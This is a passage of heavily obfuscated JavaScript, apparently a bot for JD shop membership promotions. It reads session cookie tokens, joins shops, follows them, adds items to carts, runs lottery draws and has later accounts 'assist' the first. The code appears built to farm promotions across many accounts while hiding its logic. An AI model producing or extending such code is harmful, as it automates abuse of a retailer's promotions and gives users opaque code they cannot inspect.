_0x411077==_0x592e58;},'\x44\x46\x50\x54\x63':function(_0x41b171,_0x581b92){return _0x41b171!==_0x581b92;},'\x4c\x55\x47\x46\x72':_0x4c97('c4','\x72\x64\x49\x77'),'\x49\x78\x66\x73\x6c':_0x4c97('c5','\x68\x48\x6e\x72'),'\x62\x65\x4c\x6c\x56':'\u83b7\u53d6\u4e0d\u5230\u4f1a\u5458\x49\x44','\x52\x73\x5a\x54\x63':function(_0x191437,_0x95e60d){return _0x191437<_0x95e60d;},'\x47\x62\x4e\x55\x77':function(_0x5aa95b,_0x5edc57){return _0x5aa95b(_0x5edc57);},'\x6a\x48\x51\x73\x75':function(_0x22ac2c,_0x5affc4){return _0x22ac2c>_0x5affc4;},'\x72\x73\x45\x49\x6a':function(_0x45a27f,_0x16356a){return _0x45a27f==_0x16356a;},'\x51\x51\x51\x6c\x62':_0x4c97('c6','\x59\x48\x6b\x4a'),'\x43\x76\x54\x68\x4d':function(_0x32a03d,_0x1ad448){return _0x32a03d!==_0x1ad448;},'\x4b\x6d\x76\x70\x44':_0x4c97('c7','\x65\x30\x76\x40'),'\x70\x71\x6a\x57\x74':function(_0x5c3fdf,_0x498cfe){return _0x5c3fdf!==_0x498cfe;},'\x53\x46\x6f\x4d\x54':'\x63\x77\x76\x68\x50','\x68\x4a\x78\x6b\x6a':_0x4c97('c8','\x2a\x37\x5a\x24'),'\x67\x72\x61\x42\x49':_0x4c97('c9','\x6f\x64\x56\x78'),'\x47\x4e\x6e\x44\x78':function(_0x5c4f09,_0x3aa88c){return _0x5c4f09(_0x3aa88c);},'\x56\x73\x44\x5a\x58':function(_0x4b470e,_0x2845fc){return _0x4b470e(_0x2845fc);},'\x76\x43\x4b\x4f\x68':function(_0x43fae3,_0x13a72b,_0x11f948){return _0x43fae3(_0x13a72b,_0x11f948);},'\x68\x44\x53\x69\x47':function(_0x54fd9b,_0x22a1da){return _0x54fd9b+_0x22a1da;},'\x74\x6e\x72\x4d\x45':function(_0x5e3e58,_0x336cb4){return _0x5e3e58*_0x336cb4;},'\x75\x6c\x50\x78\x4a':function(_0x1d4b30,_0x345e38){return _0x1d4b30===_0x345e38;},'\x5a\x75\x48\x79\x50':_0x4c97('ca','\x66\x75\x79\x30'),'\x63\x48\x4f\x59\x46':_0x4c97('cb','\x59\x48\x6b\x4a'),'\x61\x4b\x6e\x76\x71':_0x4c97('cc','\x5b\x49\x63\x24'),'\x49\x46\x6c\x77\x4e':_0x4c97('cd','\x68\x48\x6e\x72'),'\x73\x51\x55\x50\x77':_0x4c97('ce','\x72\x78\x44\x65'),'\x4b\x4d\x78\x50\x7a':function(_0x174799,_0x385ca3,_0x8fda6){return _0x174799(_0x385ca3,_0x8fda6);},'\x6d\x71\x54\x69\x63':function(_0x129efd,_0x52b3d2){return _0x129efd+_0x52b3d2;},'\x4e\x4b\x59\x76\x56':function(_0x3def5e,_0x6ba6c){return _0x3def5e!==_0x6ba6c;},'\x75\x6d\x70\x6f\x56':'\x59\x42\x53\x54\x71','\x59\x56\x70\x41\x53':_0x4c97('cf','\x5b\x46\x25\x78'),'\x6d\x67\x76\x4f\x6a':_0x4c97('d0','\x37\x76\x47\x5b'),'\x77\x73\x74\x66\x42':function(_0x39b571,_0x1215a2){return _0x39b571==_0x1215a2;},'\x7a\x54\x49\x63\x53':function(_0x141b62,_0x25a381){return _0x141b62+_0x25a381;},'\x7a\x74\x64\x41\x63':_0x4c97('d1','\x52\x4d\x6a\x65'),'\x62\x54\x53\x65\x58':_0x4c97('d2','\x69\x57\x2a\x36'),'\x79\x42\x69\x4c\x6f':function(_0x4c41d2,_0x127885){return _0x4c41d2!==_0x127885;},'\x69\x50\x43\x68\x46':function(_0xf88ece,_0xc62da3,_0x23dd5b){return _0xf88ece(_0xc62da3,_0x23dd5b);},'\x4e\x4a\x41\x52\x75':function(_0x2ceaf9,_0x4daa4f){return _0x2ceaf9+_0x4daa4f;},'\x42\x52\x73\x75\x54':function(_0x50ae09,_0x219f6d){return _0x50ae09(_0x219f6d);},'\x4e\x59\x71\x6f\x68':function(_0x1429e2,_0x3c1723){return _0x1429e2*_0x3c1723;},'\x7a\x74\x70\x5a\x6a':function(_0x453e6c,_0x4db7c8){return _0x453e6c!==_0x4db7c8;},'\x64\x4c\x65\x6f\x79':function(_0x774caa,_0x3b2522){return _0x774caa!==_0x3b2522;},'\x71\x71\x47\x53\x44':_0x4c97('d3','\x65\x30\x76\x40'),'\x62\x79\x75\x6b\x4a':_0x4c97('d4','\x66\x58\x57\x48'),'\x57\x6b\x6c\x51\x49':_0x4c97('d5','\x5b\x46\x25\x78'),'\x73\x75\x69\x64\x6d':_0x4c97('d6','\x45\x30\x55\x68'),'\x4e\x46\x57\x50\x79':_0x4c97('d7','\x23\x6a\x62\x55'),'\x6a\x4e\x6b\x4d\x72':function(_0x17a61b,_0x33f2be){return _0x17a61b/_0x33f2be;},'\x62\x64\x76\x7a\x62':function(_0x711ea9,_0x2822ec){return _0x711ea9>_0x2822ec;},'\x5a\x6c\x4e\x6c\x43':function(_0x5d600a,_0x10ca08){return _0x5d600a==_0x10ca08;},'\x59\x63\x6d\x6c\x49':function(_0x26a295,_0x16d367){return _0x26a295<=_0x16d367;},'\x52\x62\x48\x68\x54':function(_0x4dc3d0,_0x16644c){return _0x4dc3d0>=_0x16644c;},'\x53\x58\x6d\x4e\x75':_0x4c97('d8','\x38\x5b\x49\x34'),'\x74\x50\x4e\x6f\x4e':function(_0x7fc79d,_0xbc1620,_0x439e80){return _0x7fc79d(_0xbc1620,_0x439e80);},'\x61\x6c\x6c\x44\x70':function(_0x3d70fa,_0x195edf){return _0x3d70fa*_0x195edf;},'\x54\x6f\x5a\x64\x52':'\u5982\u9700\u62bd\u5956\u8bf7\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\x5b\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x64\x72\x61\x77\x31\x38\x32\x5d\u4e3a\x22\x33\x22\x20\x33\u4e3a\u6b21\u6570','\x67\x45\x53\x51\x4c':function(_0x473856,_0x1a5cd9,_0x4a8234){return _0x473856(_0x1a5cd9,_0x4a8234);},'\x6e\x46\x55\x4c\x79':_0x4c97('d9','\x72\x5d\x4c\x41'),'\x42\x59\x47\x48\x7a':function(_0x707d05,_0x39e304){return _0x707d05(_0x39e304);},'\x5a\x49\x6b\x67\x46':_0x4c97('da','\x4b\x62\x30\x5e'),'\x53\x76\x6b\x77\x76':function(_0x3e7d52,_0x5b67f9){return _0x3e7d52===_0x5b67f9;},'\x48\x6e\x58\x48\x4a':_0x4c97('db','\x43\x61\x33\x75'),'\x44\x71\x53\x54\x69':_0x4c97('dc','\x59\x48\x6b\x4a'),'\x6d\x61\x63\x76\x4e':function(_0x2dc262,_0x164c95){return _0x2dc262==_0x164c95;},'\x47\x72\x45\x63\x79':function(_0x2d8a95,_0x65e805){return _0x2d8a95!=_0x65e805;},'\x63\x52\x4b\x56\x79':function(_0xdde4b2,_0x2991dc){return _0xdde4b2+_0x2991dc;},'\x4c\x66\x73\x47\x68':_0x4c97('dd','\x32\x4c\x29\x6f'),'\x68\x62\x6b\x4e\x4f':_0x4c97('de','\x33\x35\x4e\x25'),'\x42\x5a\x7a\x63\x79':function(_0x1dd03d,_0x3a1057){return _0x1dd03d*_0x3a1057;},'\x74\x57\x72\x6d\x55':_0x4c97('df','\x5b\x46\x25\x78'),'\x66\x59\x78\x62\x6e':_0x4c97('e0','\x33\x35\x4e\x25'),'\x64\x4f\x66\x56\x4c':_0x4c97('e1','\x37\x76\x47\x5b'),'\x4f\x6c\x4c\x77\x73':function(_0x340833,_0x16747e){return _0x340833%_0x16747e;},'\x52\x79\x6a\x6f\x4d':_0x4c97('e2','\x72\x72\x4d\x38'),'\x58\x70\x72\x51\x41':function(_0x18b931,_0x577bfb){return _0x18b931%_0x577bfb;},'\x59\x64\x4d\x6b\x77':function(_0x41b7d0,_0xe79df,_0x231094){return _0x41b7d0(_0xe79df,_0x231094);},'\x64\x51\x65\x6b\x71':function(_0x1d278b,_0x5190a5){return _0x1d278b+_0x5190a5;},'\x4b\x51\x57\x4e\x62':function(_0x3b4d81,_0x411b2d){return _0x3b4d81*_0x411b2d;},'\x76\x6a\x77\x58\x45':'\x6e\x69\x65\x6a\x72'};try{$['\x61\x63\x74\x6f\x72\x55\x75\x69\x64']='';$['\x73\x63\x6f\x72\x65']=$[_0x4c97('e3','\x33\x35\x4e\x25')]=$[_0x4c97('e4','\x7a\x5e\x26\x71')]=0x0;$[_0x4c97('e5','\x24\x58\x30\x37')]=$[_0x4c97('e6','\x6a\x7a\x62\x33')]=$['\x66\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70']=$['\x66\x6f\x6c\x6c\x6f\x77\x50\x65\x6f\x6e\x79']=![];_0x28e005='';$[_0x4c97('e7','\x23\x6a\x62\x55')]='';$[_0x4c97('e8','\x69\x57\x2a\x36')]='';let _0x2b072a=![];await _0x47c119[_0x4c97('e9','\x35\x29\x6b\x67')](_0x72c17a,_0x47c119[_0x4c97('ea','\x41\x64\x37\x63')]);if(_0x47c119[_0x4c97('eb','\x53\x37\x7a\x32')]($[_0x4c97('ec','\x65\x30\x76\x40')],'')){if(_0x47c119['\x78\x69\x42\x63\x6e'](_0x47c119['\x49\x6a\x73\x51\x6d'],_0x47c119[_0x4c97('ed','\x5e\x57\x4c\x4e')])){setcookie=setcookies[_0x4c97('ee','\x58\x28\x50\x39')]('\x2c');}else{console['\x6c\x6f\x67'](_0x47c119[_0x4c97('ef','\x52\x4d\x6a\x65')]);return;}}await _0x47c119['\x44\x64\x4c\x6f\x63'](_0x3901e3);if(_0x47c119[_0x4c97('f0','\x24\x58\x30\x37')](_0x943e2,'')){console[_0x4c97('f1','\x37\x76\x47\x5b')](_0x47c119[_0x4c97('f2','\x33\x35\x4e\x25')]);return;}if(_0x47c119['\x78\x69\x42\x63\x6e']($['\x61\x63\x74\x69\x76\x69\x74\x79\x45\x6e\x64'],!![])){console['\x6c\x6f\x67'](_0x47c119[_0x4c97('f3','\x6c\x6b\x69\x71')]);return;}if($[_0x4c97('f4','\x53\x37\x7a\x32')]){if(_0x47c119[_0x4c97('f5','\x33\x35\x4e\x25')](_0x47c119[_0x4c97('f6','\x35\x29\x6b\x67')],_0x47c119[_0x4c97('f7','\x66\x75\x79\x30')])){console[_0x4c97('f8','\x66\x79\x72\x72')](_0x47c119['\x5a\x71\x46\x4a\x79']);return;}else{console[_0x4c97('f9','\x5e\x75\x72\x41')](_0x47c119[_0x4c97('fa','\x41\x64\x37\x63')]);}}await _0x47c119['\x72\x4a\x4e\x65\x77'](_0x72c17a,_0x47c119[_0x4c97('fb','\x5e\x75\x72\x41')]);await _0x47c119['\x72\x4a\x4e\x65\x77'](_0x72c17a,_0x47c119[_0x4c97('fc','\x6d\x41\x32\x54')]);await _0x47c119[_0x4c97('fd','\x66\x58\x57\x48')](_0x72c17a,_0x47c119[_0x4c97('fe','\x65\x30\x76\x40')]);if(!$[_0x4c97('ff','\x45\x30\x55\x68')]){console[_0x4c97('100','\x72\x5d\x4c\x41')](_0x47c119[_0x4c97('101','\x66\x75\x79\x30')]);return;}if($[_0x4c97('102','\x66\x5b\x4f\x61')])return;await _0x47c119['\x79\x49\x58\x55\x55'](_0x72c17a,_0x47c119['\x6f\x57\x78\x55\x59']);await _0x47c119[_0x4c97('103','\x66\x58\x57\x48')](_0x72c17a,_0x47c119[_0x4c97('104','\x59\x48\x6b\x4a')]);await _0x47c119[_0x4c97('105','\x6f\x64\x56\x78')](_0x72c17a,_0x47c119[_0x4c97('106','\x32\x4c\x29\x6f')]);if($[_0x4c97('107','\x64\x47\x51\x38')])return;if(!$['\x61\x63\x74\x6f\x72\x55\x75\x69\x64']){console[_0x4c97('108','\x41\x64\x37\x63')](_0x47c119[_0x4c97('109','\x72\x64\x49\x77')]);return;}if(_0x47c119[_0x4c97('10a','\x21\x43\x6c\x5a')]($[_0x4c97('10b','\x37\x76\x47\x5b')],!![])||_0x47c119['\x70\x65\x54\x6a\x72']($['\x4a\x44\x54\x69\x6d\x65'],$['\x65\x6e\x64\x54\x69\x6d\x65'])){$[_0x4c97('10c','\x64\x47\x51\x38')]=!![];console['\x6c\x6f\x67'](_0x47c119[_0x4c97('10d','\x64\x47\x51\x38')]);return;}await _0x47c119[_0x4c97('10e','\x37\x37\x41\x40')](_0x72c17a,_0x47c119['\x49\x59\x6a\x52\x4b']);if(_0x47c119['\x46\x59\x70\x43\x48'](_0x47c119['\x51\x4e\x79\x59\x59'](_0x14cd90,''),_0x47c119[_0x4c97('10f','\x49\x67\x46\x6f')])){if(!$[_0x4c97('110','\x5e\x57\x4c\x4e')]['\x69\x6e\x63\x6c\x75\x64\x65\x73']($[_0x4c97('111','\x36\x51\x69\x77')]))$['\x61\x63\x74\x6f\x72\x55\x75\x69\x64\x41\x72\x72'][_0x4c97('112','\x32\x4c\x29\x6f')]($[_0x4c97('113','\x5b\x49\x63\x24')]);await $[_0x4c97('114','\x65\x30\x76\x40')](0x3e8);$[_0x4c97('115','\x72\x72\x4d\x38')]=[];$[_0x4c97('116','\x4a\x41\x72\x24')]=![];await _0x47c119[_0x4c97('117','\x38\x5b\x49\x34')](_0x72c17a,_0x47c119[_0x4c97('118','\x45\x30\x55\x68')]);await _0x47c119[_0x4c97('119','\x33\x55\x5a\x4b')](_0x72c17a,_0x47c119[_0x4c97('11a','\x5b\x46\x25\x78')]);if(_0x47c119['\x4b\x55\x6c\x6e\x74']($[_0x4c97('11b','\x68\x48\x6e\x72')],![])){console['\x6c\x6f\x67'](_0x47c119['\x54\x64\x6f\x58\x47']);for(o of $[_0x4c97('11c','\x59\x48\x6b\x4a')]){$[_0x4c97('11d','\x53\x37\x7a\x32')]=![];if(_0x47c119[_0x4c97('11e','\x5e\x75\x72\x41')](o[_0x4c97('11f','\x5e\x75\x72\x41')],0x0)||_0x47c119[_0x4c97('120','\x52\x45\x29\x55')](o[_0x4c97('121','\x33\x55\x5a\x4b')],![])||_0x47c119['\x43\x42\x67\x77\x69'](o[_0x4c97('122','\x32\x4c\x29\x6f')],![])){_0x2b072a=!![];$[_0x4c97('123','\x65\x30\x76\x40')]='';$[_0x4c97('124','\x5a\x50\x47\x72')]=o[_0x4c97('125','\x6f\x64\x56\x78')]||o[_0x4c97('126','\x7a\x5e\x26\x71')];if(!$[_0x4c97('127','\x72\x72\x4d\x38')]){if(_0x47c119[_0x4c97('128','\x5a\x50\x47\x72')](_0x47c119[_0x4c97('129','\x72\x64\x49\x77')],_0x47c119[_0x4c97('12a','\x4c\x33\x53\x67')])){console[_0x4c97('12b','\x52\x4d\x6a\x65')](_0x47c119[_0x4c97('12c','\x5e\x57\x4c\x4e')]);break;}else{$[_0x4c97('12d','\x59\x48\x6b\x4a')]=res[_0x4c97('12e','\x41\x59\x54\x6f')];console[_0x4c97('f9','\x5e\x75\x72\x41')](''+(res[_0x4c97('12f','\x4a\x41\x72\x24')]||''));}}await _0x47c119['\x44\x64\x4c\x6f\x63'](_0xbe7147);for(let _0x3be5d5=0x0;_0x47c119[_0x4c97('130','\x43\x61\x33\x75')](_0x3be5d5,_0x47c119[_0x4c97('131','\x37\x76\x47\x5b')](Array,0x5)[_0x4c97('132','\x45\x30\x55\x68')]);_0x3be5d5++){if(_0x47c119[_0x4c97('133','\x4c\x33\x53\x67')](_0x3be5d5,0x0))console['\x6c\x6f\x67']('\u7b2c'+_0x3be5d5+_0x4c97('134','\x72\x78\x44\x65'));await _0x47c119[_0x4c97('135','\x72\x78\x44\x65')](_0x586f4d);if(_0x47c119['\x72\x73\x45\x49\x6a']($[_0x4c97('136','\x4c\x33\x53\x67')][_0x4c97('137','\x72\x64\x49\x77')](_0x47c119[_0x4c97('138','\x36\x51\x69\x77')]),-0x1)){if(_0x47c119[_0x4c97('139','\x5a\x50\x47\x72')](_0x47c119[_0x4c97('13a','\x58\x28\x50\x39')],_0x47c119['\x4b\x6d\x76\x70\x44'])){if(_0x47c119['\x5a\x68\x51\x52\x64'](typeof setcookies,_0x47c119['\x65\x6b\x4e\x56\x45'])){setcookie=setcookies[_0x4c97('13b','\x6a\x7a\x62\x33')]('\x2c');}else setcookie=setcookies;for(let _0xc3e9e4 of setcookie){let _0x1894d3=_0xc3e9e4[_0x4c97('13c','\x69\x57\x2a\x36')]('\x3b')[0x0][_0x4c97('13d','\x33\x35\x4e\x25')]();if(_0x1894d3[_0x4c97('13e','\x36\x51\x69\x77')]('\x3d')[0x1]){if(_0x47c119[_0x4c97('13f','\x66\x5b\x4f\x61')](_0x1894d3[_0x4c97('140','\x6d\x41\x32\x54')](_0x47c119['\x61\x59\x56\x70\x5a']),-0x1))LZ_TOKEN_KEY=_0x47c119[_0x4c97('141','\x45\x30\x55\x68')](_0x1894d3['\x72\x65\x70\x6c\x61\x63\x65'](/ /g,''),'\x3b');if(_0x47c119[_0x4c97('142','\x72\x5d\x4c\x41')](_0x1894d3['\x69\x6e\x64\x65\x78\x4f\x66'](_0x47c119[_0x4c97('143','\x64\x47\x51\x38')]),-0x1))LZ_TOKEN_VALUE=_0x47c119[_0x4c97('144','\x5b\x49\x63\x24')](_0x1894d3[_0x4c97('145','\x59\x48\x6b\x4a')](/ /g,''),'\x3b');if(_0x47c119['\x61\x66\x4c\x6e\x68'](_0x1894d3['\x69\x6e\x64\x65\x78\x4f\x66'](_0x47c119[_0x4c97('146','\x4c\x33\x53\x67')]),-0x1))lz_jdpin_token=_0x47c119['\x41\x7a\x63\x63\x6c'](_0x47c119['\x41\x7a\x63\x63\x6c']('',_0x1894d3[_0x4c97('147','\x33\x55\x5a\x4b')](/ /g,'')),'\x3b');}}}else{break;}}}if(_0x47c119[_0x4c97('148','\x37\x76\x47\x5b')]($[_0x4c97('149','\x58\x28\x50\x39')][_0x4c97('14a','\x49\x67\x46\x6f')](_0x47c119['\x51\x51\x51\x6c\x62']),-0x1)){if(_0x47c119[_0x4c97('14b','\x23\x6a\x62\x55')](_0x47c119['\x53\x46\x6f\x4d\x54'],_0x47c119[_0x4c97('14c','\x5b\x46\x25\x78')])){console['\x6c\x6f\x67'](_0x47c119[_0x4c97('14d','\x6d\x41\x32\x54')]);allMessage+=_0x4c97('14e','\x5e\x57\x4c\x4e')+$[_0x4c97('14f','\x49\x67\x46\x6f')]+'\u3011\u5f00\u5361\u5931\u8d25\u274c\x20\uff0c\u91cd\u65b0\u6267\u884c\u811a\u672c\x0a';}else{console[_0x4c97('67','\x58\x28\x50\x39')](_0x47c119[_0x4c97('150','\x37\x37\x41\x40')]);return;}}else{$['\x6a\x6f\x69\x6e\x53\x74\x61\x74\x75\x73']=!![];}await _0x47c119[_0x4c97('151','\x41\x59\x54\x6f')](_0x72c17a,_0x47c119[_0x4c97('152','\x66\x75\x79\x30')]);await _0x47c119[_0x4c97('153','\x5e\x57\x4c\x4e')](_0x72c17a,_0x47c119[_0x4c97('154','\x31\x69\x40\x31')]);await _0x47c119[_0x4c97('155','\x72\x72\x4d\x38')](_0x72c17a,_0x47c119['\x73\x41\x61\x52\x50']);await $['\x77\x61\x69\x74'](_0x47c119[_0x4c97('156','\x6f\x64\x56\x78')](parseInt,_0x47c119['\x68\x44\x53\x69\x47'](_0x47c119['\x74\x6e\x72\x4d\x45'](Math[_0x4c97('157','\x59\x48\x6b\x4a')](),0x7d0),0x7d0),0xa));}}}else{if(_0x47c119[_0x4c97('158','\x65\x30\x76\x40')](_0x47c119[_0x4c97('159','\x45\x30\x55\x68')],_0x47c119['\x63\x48\x4f\x59\x46'])){$[_0x4c97('15a','\x33\x49\x53\x23')]=d['\x66\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70\x53\x74\x61\x74\x75\x73']||d['\x61\x6c\x6c\x46\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70']||d[_0x4c97('15b','\x38\x5b\x49\x34')]||d[_0x4c97('15c','\x5b\x46\x25\x78')]||$['\x66\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70'];}else{console[_0x4c97('f1','\x37\x76\x47\x5b')](_0x47c119['\x61\x4b\x6e\x76\x71']);}}if($['\x66\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70']){if(_0x47c119[_0x4c97('15d','\x52\x45\x29\x55')](_0x47c119[_0x4c97('15e','\x43\x61\x33\x75')],_0x47c119[_0x4c97('15f','\x6d\x41\x32\x54')])){console['\x6c\x6f\x67'](_0x47c119[_0x4c97('160','\x5e\x75\x72\x41')]);return;}else{console[_0x4c97('161','\x64\x47\x51\x38')](_0x47c119[_0x4c97('162','\x32\x4c\x29\x6f')]);}}else if(!$[_0x4c97('163','\x31\x69\x40\x31')]&&!$[_0x4c97('f4','\x53\x37\x7a\x32')]){_0x2b072a=!![];await _0x47c119[_0x4c97('164','\x36\x51\x69\x77')](_0x72c17a,'\u5173\u6ce8');await $[_0x4c97('165','\x37\x76\x47\x5b')](_0x47c119[_0x4c97('166','\x72\x72\x4d\x38')](parseInt,_0x47c119[_0x4c97('167','\x41\x64\x37\x63')](_0x47c119[_0x4c97('168','\x41\x59\x54\x6f')](Math[_0x4c97('169','\x5b\x46\x25\x78')](),0x7d0),0x7d0),0xa));}$['\x79\x61\x6f\x71\x69\x6e\x67']=![];if($[_0x4c97('16a','\x2a\x37\x5a\x24')])await _0x47c119[_0x4c97('16b','\x4a\x41\x72\x24')](_0x72c17a,'\u9080\u8bf7');if($['\x79\x61\x6f\x71\x69\x6e\x67']){await _0x47c119['\x56\x73\x44\x5a\x58'](_0x72c17a,'\u52a9\u529b');}if($[_0x4c97('16c','\x69\x57\x2a\x36')]){if(_0x47c119[_0x4c97('16d','\x5a\x50\x47\x72')](_0x47c119[_0x4c97('16e','\x6a\x7a\x62\x33')],_0x47c119['\x59\x56\x70\x41\x53'])){console[_0x4c97('16f','\x37\x37\x41\x40')](_0x47c119[_0x4c97('170','\x66\x5b\x4f\x61')]);}else{console[_0x4c97('171','\x24\x58\x30\x37')](_0x47c119[_0x4c97('172','\x23\x6a\x62\x55')]);return;}}else if(!$[_0x4c97('173','\x41\x64\x37\x63')]&&!$['\x6f\x75\x74\x46\x6c\x61\x67']){if(_0x47c119[_0x4c97('174','\x6f\x64\x56\x78')](_0x47c119[_0x4c97('175','\x68\x48\x6e\x72')](guaopencard_addSku,''),_0x47c119[_0x4c97('176','\x23\x6a\x62\x55')])){_0x2b072a=!![];let _0x134426=[];if(_0x5ef388){if(_0x47c119['\x4e\x4b\x59\x76\x56'](_0x47c119['\x7a\x74\x64\x41\x63'],_0x47c119[_0x4c97('177','\x66\x58\x57\x48')])){console[_0x4c97('178','\x33\x49\x53\x23')](_0x47c119[_0x4c97('179','\x6f\x64\x56\x78')]);}else{_0x134426=await _0x5ef388[_0x4c97('17a','\x5e\x57\x4c\x4e')](_0x1bdcf7,_0x47c119['\x62\x54\x53\x65\x58'],'');if(_0x47c119['\x79\x42\x69\x4c\x6f'](_0x134426,![]))await $[_0x4c97('17b','\x72\x78\x44\x65')](_0x47c119[_0x4c97('17c','\x41\x64\x37\x63')](parseInt,_0x47c119[_0x4c97('17d','\x31\x69\x40\x31')](_0x47c119[_0x4c97('17e','\x53\x37\x7a\x32')](Math[_0x4c97('17f','\x4b\x62\x30\x5e')](),0x3e8),0xfa0),0xa));}}await _0x47c119[_0x4c97('180','\x5a\x50\x47\x72')](_0x72c17a,'\u52a0\u8d2d');await $[_0x4c97('181','\x7a\x5e\x26\x71')](_0x47c119['\x69\x50\x43\x68\x46'](parseInt,_0x47c119['\x4e\x4a\x41\x52\x75'](_0x47c119['\x4e\x59\x71\x6f\x68'](Math['\x72\x61\x6e\x64\x6f\x6d'](),0x7d0),0xfa0),0xa));if(_0x5ef388&&_0x47c119[_0x4c97('182','\x33\x35\x4e\x25')](_0x134426,![])){if(_0x47c119['\x64\x4c\x65\x6f\x79'](_0x47c119['\x71\x71\x47\x53\x44'],_0x47c119[_0x4c97('183','\x37\x37\x41\x40')])){_0x47c119[_0x4c97('184','\x66\x5b\x4f\x61')](_0x197541,type,data);}else{await _0x5ef388[_0x4c97('185','\x72\x64\x49\x77')](_0x1bdcf7,_0x47c119[_0x4c97('186','\x29\x79\x5a\x6d')],_0x134426||[]);}}}else{console['\x6c\x6f\x67'](_0x47c119[_0x4c97('187','\x66\x5b\x4f\x61')]);}}if(_0x2b072a){if(_0x47c119['\x64\x4c\x65\x6f\x79'](_0x47c119['\x57\x6b\x6c\x51\x49'],_0x47c119['\x73\x75\x69\x64\x6d'])){await _0x47c119['\x42\x52\x73\x75\x54'](_0x72c17a,_0x47c119[_0x4c97('188','\x66\x5b\x4f\x61')]);}else{console['\x6c\x6f\x67'](e,resp);}}console[_0x4c97('ad','\x35\x29\x6b\x67')]($['\x73\x63\x6f\x72\x65']+'\u503c');if(_0x47c119[_0x4c97('189','\x36\x51\x69\x77')](_0x47c119[_0x4c97('18a','\x72\x64\x49\x77')](guaopencard_draw,''),'\x30')){if(_0x47c119[_0x4c97('18b','\x41\x59\x54\x6f')](_0x47c119[_0x4c97('18c','\x66\x79\x72\x72')],_0x47c119[_0x4c97('18d','\x65\x30\x76\x40')])){console['\x6c\x6f\x67'](_0x47c119[_0x4c97('18e','\x69\x57\x2a\x36')]);$[_0x4c97('18f','\x5b\x49\x63\x24')]=!![];}else{$['\x72\x75\x6e\x46\x61\x6c\x61\x67']=!![];let _0x4c0273=_0x47c119[_0x4c97('190','\x37\x37\x41\x40')](parseInt,_0x47c119[_0x4c97('191','\x33\x35\x4e\x25')]($[_0x4c97('192','\x2a\x37\x5a\x24')],0x64));guaopencard_draw=_0x47c119['\x69\x50\x43\x68\x46'](parseInt,guaopencard_draw,0xa);if(_0x47c119['\x62\x64\x76\x7a\x62'](_0x4c0273,guaopencard_draw))_0x4c0273=guaopencard_draw;console['\x6c\x6f\x67'](_0x4c97('193','\x41\x64\x37\x63')+_0x4c0273);for(m=0x1;_0x4c0273--;m++){console['\x6c\x6f\x67']('\u7b2c'+m+_0x4c97('194','\x36\x51\x69\x77'));await _0x47c119[_0x4c97('190','\x37\x37\x41\x40')](_0x72c17a,'\u62bd\u5956');if(_0x47c119[_0x4c97('195','\x5b\x49\x63\x24')]($[_0x4c97('196','\x7a\x5e\x26\x71')],![]))break;if(_0x47c119['\x59\x63\x6d\x6c\x49'](_0x47c119[_0x4c97('197','\x33\x35\x4e\x25')](Number,_0x4c0273),0x0))break;if(_0x47c119['\x52\x62\x48\x68\x54'](m,0xa)){console['\x6c\x6f\x67'](_0x47c119[_0x4c97('198','\x66\x75\x79\x30')]);break;}await $[_0x4c97('199','\x6f\x64\x56\x78')](_0x47c119[_0x4c97('19a','\x66\x58\x57\x48')](parseInt,_0x47c119['\x4e\x4a\x41\x52\x75'](_0x47c119[_0x4c97('19b','\x49\x67\x46\x6f')](Math['\x72\x61\x6e\x64\x6f\x6d'](),0x7d0),0x7d0),0xa));}}}else console[_0x4c97('19c','\x52\x45\x29\x55')](_0x47c119[_0x4c97('19d','\x66\x75\x79\x30')]);await $['\x77\x61\x69\x74'](_0x47c119[_0x4c97('19e','\x6d\x41\x32\x54')](parseInt,_0x47c119[_0x4c97('19f','\x35\x29\x6b\x67')](_0x47c119[_0x4c97('1a0','\x37\x76\x47\x5b')](Math['\x72\x61\x6e\x64\x6f\x6d'](),0x3e8),0x7d0),0xa));}await _0x47c119[_0x4c97('1a1','\x4a\x41\x72\x24')](_0x72c17a,_0x47c119['\x6e\x46\x55\x4c\x79']);await _0x47c119[_0x4c97('1a2','\x36\x51\x69\x77')](_0x72c17a,_0x47c119[_0x4c97('1a3','\x64\x47\x51\x38')]);if($[_0x4c97('1a4','\x23\x6a\x62\x55')]){if(_0x47c119[_0x4c97('1a5','\x72\x78\x44\x65')](_0x47c119[_0x4c97('1a6','\x58\x28\x50\x39')],_0x47c119[_0x4c97('1a7','\x5b\x49\x63\x24')])){$[_0x4c97('1a8','\x6d\x41\x32\x54')]=d[_0x4c97('1a9','\x66\x5b\x4f\x61')]['\x61\x6c\x6c\x53\x74\x61\x74\x75\x73']||$[_0x4c97('1aa','\x66\x79\x72\x72')];if(d[_0x4c97('1ab','\x5e\x75\x72\x41')]&&d[_0x4c97('1ab','\x5e\x75\x72\x41')][_0x4c97('1ac','\x5e\x75\x72\x41')]&&d[_0x4c97('1ad','\x41\x64\x37\x63')][_0x4c97('1ae','\x6c\x6b\x69\x71')][0x0]){$['\x61\x64\x64\x53\x6b\x75\x56\x61\x6c\x75\x65']=d['\x61\x64\x64\x53\x6b\x75'][_0x4c97('1af','\x35\x29\x6b\x67')][0x0]['\x76\x61\x6c\x75\x65']||0x2;}}else{console[_0x4c97('1b0','\x33\x35\x4e\x25')](_0x47c119['\x5a\x71\x46\x4a\x79']);return;}}console[_0x4c97('1b1','\x5e\x57\x4c\x4e')]($[_0x4c97('1b2','\x58\x28\x50\x39')]);console['\x6c\x6f\x67'](_0x4c97('1b3','\x53\x37\x7a\x32')+$[_0x4c97('1b4','\x45\x30\x55\x68')]);if(_0x47c119['\x6d\x61\x63\x76\x4e']($[_0x4c97('1b5','\x72\x72\x4d\x38')],0x1)){$['\x73\x68\x61\x72\x65\x55\x75\x69\x64']=$['\x61\x63\x74\x6f\x72\x55\x75\x69\x64'];console['\x6c\x6f\x67']('\u540e\u9762\u7684\u53f7\u90fd\u4f1a\u52a9\u529b\x3a'+$[_0x4c97('1b6','\x33\x49\x53\x23')]);}if(_0x47c119[_0x4c97('1b7','\x24\x58\x30\x37')](_0x47c119[_0x4c97('1b8','\x21\x43\x6c\x5a')](_0x14cd90,''),_0x47c119['\x75\x4a\x6b\x70\x66'])){if(_0x47c119['\x53\x76\x6b\x77\x76'](_0x47c119[_0x4c97('1b